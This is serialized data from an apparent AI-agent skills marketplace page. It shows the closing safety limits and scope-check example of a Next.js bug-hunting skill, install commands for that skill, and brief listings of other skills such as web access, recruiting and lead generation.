Limitations\n\n- Authorized scope only: the confirmation gate above is mandatory before any probing, exploitation, or credential-access command.\n- Docs-only import: upstream helper scripts, commands, engine, and research assets are not bundled; reinstall tooling from the source repo when needed.\n- Validate every finding (see `triage-validation`) before reporting; report via `report-writing`. Prefer a sandbox, disposable VM, or controlled lab.\n\n### Example\n\n```bash\n# Read-only first step; confirm scope before anything active.\ncat scope.txt  # target list from the authorized engagement brief\n```\n\n> Adapted from [elementalsouls\u002FClaude-BugHunter](https:\u002F\u002Fgithub.com\u002Felementalsouls\u002FClaude-BugHunter) (MIT); frontmatter, When to Use\u002FLimitations, and safety boundaries added for upstream compliance. Docs-only import: executable helpers, commands, engine, and research assets not bundled.\n",{"name":5,"risk":27,"source":46,"license":14,"sources":47,"category":40,"date_added":48,"description":7,"source_repo":49,"source_type":33,"report_count":50,"compatibility":51,"license_source":52},"https:\u002F\u002Fgithub.com\u002Felementalsouls\u002FClaude-BugHunter","cve_database (CVE-2024-34351 \u002F GHSA-fr5h-rqp8-mj6g), Next.js advisories","2026-09-20","elementalsouls\u002FClaude-BugHunter",0,"Requires explicit written authorization for a target scope plus the relevant testing tools for this technique. Docs-only; helper scripts and commands not bundled.","https:\u002F\u002Fgithub.com\u002Felementalsouls\u002FClaude-BugHunter\u002Fblob\u002Fmain\u002FLICENSE","7bf2279c8a65758319526a721d5c4b75683aec9c","skills\u002Fantigravity-hunt-nextjs",3,"https:\u002F\u002Fgithub.com\u002Fboisenoise\u002Fskills-collections","https:\u002F\u002Fgithub.com\u002Fboisenoise","2026-11-13 14:20:47",{"source":8,"skillName":5,"commands":60,"prompt":70,"zipAvailable":71},[61,64,67],{"tool":62,"command":63},"npx","npx skills add boisenoise\u002Fskills-collections --skill hunt-nextjs",{"tool":65,"command":66},"bunx","bunx skills add boisenoise\u002Fskills-collections --skill hunt-nextjs",{"tool":68,"command":69},"pnpm","pnpm dlx skills add boisenoise\u002Fskills-collections --skill hunt-nextjs","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002Fboisenoise\u002Fskills-collections\u002Fblob\u002Fmain\u002Fskills\u002Fantigravity-hunt-nextjs\u002FSKILL.md",true,[],[74,101,128,153,172,195],{"skillNo":75,"name":76,"nameZh":6,"description":77,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":78,"licenseFileUrl":79,"sourceHtmlUrl":80,"categories":81,"keywords":82,"publishedAt":41},"01M6WNH92BHVFXHGPDZCPJ0AG0","web-access","Use Treg for public web or platform data only when existing search, browser and connected tools cannot cover the task, with explicit cost and data boundaries.","Apache-2.0","https:\u002F\u002Fgithub.com\u002Fboisenoise\u002Fskills-collections\u002Fblob\u002Fmain\u002Fskills\u002Fantigravity-web-access\u002FLICENSE","https:\u002F\u002Fgithub.com\u002Fboisenoise\u002Fskills-collections\u002Fblob\u002Fmain\u002Fskills\u002Fantigravity-web-access\u002FSKILL.md",[],[83,84,85,86,87,88,89,90,36,91,92,34,93,94,95,96,97,98,99,100,22],"web","access","web access","official","development","browser","search","data","read","fetch","youtube","free tools","platform","critical","free","cover","normal","when",{"skillNo":102,"name":103,"nameZh":6,"description":104,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":78,"licenseFileUrl":105,"sourceHtmlUrl":106,"categories":107,"keywords":113,"publishedAt":41},"01M6WNF9XAYAB2CZDDJBAKNM93","treg","Use the Treg CLI or MCP catalog to discover, price and call authorized external tools with team-scoped credentials and a user-approved budget.","https:\u002F\u002Fgithub.com\u002Fboisenoise\u002Fskills-collections\u002Fblob\u002Fmain\u002Fskills\u002Fantigravity-treg\u002FLICENSE","https:\u002F\u002Fgithub.com\u002Fboisenoise\u002Fskills-collections\u002Fblob\u002Fmain\u002Fskills\u002Fantigravity-treg\u002FSKILL.md",[108],{"categoryNo":109,"categoryName":110,"taxonomyType":111,"taxonomyTypeDesc":112},"01JBSEEDCAT000000000000023","Skill与智能体开发","SCENARIO","使用场景",[103,114,115,116,86,87,38,36,117,118,119,120,121,122,123,96,124,125,126,127,22],"MCP","cli","github","Budget","credentials","team","catalog","use","call","discover","external tools","with","scoped","blob",{"skillNo":129,"name":130,"nameZh":6,"description":131,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":78,"licenseFileUrl":132,"sourceHtmlUrl":133,"categories":134,"keywords":140,"publishedAt":41},"01M6WN93MEAZ4E41DYAHJRPHQT","recruit","Turn a job description into an evidence-linked candidate shortlist through Treg, with job-related ranking and optional authorized business contact enrichment.","https:\u002F\u002Fgithub.com\u002Fboisenoise\u002Fskills-collections\u002Fblob\u002Fmain\u002Fskills\u002Fantigravity-recruit\u002FLICENSE","https:\u002F\u002Fgithub.com\u002Fboisenoise\u002Fskills-collections\u002Fblob\u002Fmain\u002Fskills\u002Fantigravity-recruit\u002FSKILL.md",[135],{"categoryNo":136,"categoryName":137,"taxonomyType":138,"taxonomyTypeDesc":139},"01JBSEEDCAT000000000000038","人力资源","PROFESSION","适用职业",[130,116,86,38,141,142,143,144,145,146,96,147,148,149,125,24,150,151,152,127,103,22],"https","email","enrichment","business","evidence","phone","ranking","post","job description","person","candidate","reason",{"skillNo":154,"name":155,"nameZh":6,"description":156,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":78,"licenseFileUrl":157,"sourceHtmlUrl":158,"categories":159,"keywords":160,"publishedAt":41},"01M6WN8R5RXSMHM9B4D9FAFX42","rea-growth","Analyze a company’s public growth and content through Treg, distinguish observations from hypotheses, and produce an evidence-linked playbook within an approved budget.","https:\u002F\u002Fgithub.com\u002Fboisenoise\u002Fskills-collections\u002Fblob\u002Fmain\u002Fskills\u002Fantigravity-rea-growth\u002FLICENSE","https:\u002F\u002Fgithub.com\u002Fboisenoise\u002Fskills-collections\u002Fblob\u002Fmain\u002Fskills\u002Fantigravity-rea-growth\u002FSKILL.md",[],[161,162,163,116,86,38,164,165,141,166,117,167,168,169,145,96,170,171,127,103,22],"growth","rea","rea growth","produce","content","playbook","marketing","analyze","public","observations","company",{"skillNo":173,"name":174,"nameZh":6,"description":175,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":78,"licenseFileUrl":176,"sourceHtmlUrl":177,"categories":178,"keywords":179,"publishedAt":41},"01M6WN2EVE3RQRGWAKBT4S7YT2","make-ugc","Create original AI UGC-style product videos through Treg: research hooks, approve a licensed presenter and voice, generate clips, add captions and report costs.","https:\u002F\u002Fgithub.com\u002Fboisenoise\u002Fskills-collections\u002Fblob\u002Fmain\u002Fskills\u002Fantigravity-make-ugc\u002FLICENSE","https:\u002F\u002Fgithub.com\u002Fboisenoise\u002Fskills-collections\u002Fblob\u002Fmain\u002Fskills\u002Fantigravity-make-ugc\u002FSKILL.md",[],[180,181,116,182,86,183,38,184,185,186,187,188,96,189,190,191,192,193,194,127],"make","make ugc","research","create","Video","Captions","ads","short","hooks","head","style","niche","trending","talking-head","approve",{"skillNo":196,"name":197,"nameZh":6,"description":198,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":78,"licenseFileUrl":199,"sourceHtmlUrl":200,"categories":201,"keywords":202,"publishedAt":41},"01M6WN10ARAA63Y8K1YNGXJ2RM","lead-signals","Find and qualify public buying signals through Treg, rank fitting business accounts and optionally enrich authorized business contact information.","https:\u002F\u002Fgithub.com\u002Fboisenoise\u002Fskills-collections\u002Fblob\u002Fmain\u002Fskills\u002Fantigravity-lead-signals\u002FLICENSE","https:\u002F\u002Fgithub.com\u002Fboisenoise\u002Fskills-collections\u002Fblob\u002Fmain\u002Fskills\u002Fantigravity-lead-signals\u002FSKILL.md",[],[203,204,205,116,86,38,206,207,144,208,209,96,210,211,212,213,214,215,216,127],"signals","lead","lead signals","how","find","ready","as","how to","qualify","people","information","enrich","changes","funding"]